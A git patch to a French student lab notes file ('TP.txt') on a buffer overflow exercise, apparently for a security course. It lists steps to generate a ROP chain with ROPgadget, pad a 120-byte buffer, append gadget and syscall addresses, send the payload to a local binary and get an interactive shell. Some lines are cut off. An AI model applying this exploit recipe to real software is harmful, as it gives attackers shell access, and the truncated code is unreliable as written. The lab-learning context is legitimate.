From 0507fff02b5c078854e1b0aa079ad271a9de7498 Mon Sep 17 00:00:00 2001 From: Lucas EVARD Date: Sat, 7 Oct 2023 14:39:58 +0200 Subject: [PATCH] =?UTF-8?q?Mise=20=C3=A0=20jour=20de=20'TP.txt'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TP.txt | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/TP.txt b/TP.txt index f0ab785..2556079 100644 --- a/TP.txt +++ b/TP.txt @@ -10,12 +10,15 @@ docker run --rm -it secu python3 ROPgadget/ROPgadget.py --binary Bufferoverflow/binaire --ropchain -dans un fichier python : - p = b'A' * 120 => buffer overflow - p += pack(' p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul +dans un fichier python : - r.process("./binaire") => on execute le binaire - r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow - r.interactive() => on met a disposition le shell interactif sur le terminal + on copie colle la partie 5 avec en plus: + + p = b'A' * 120 => buffer overflow + p += pack(' p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul + + r.process("./binaire") => on execute le binaire + r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow + r.interactive() => on met a disposition le shell interactif sur le terminal \ No newline at end of file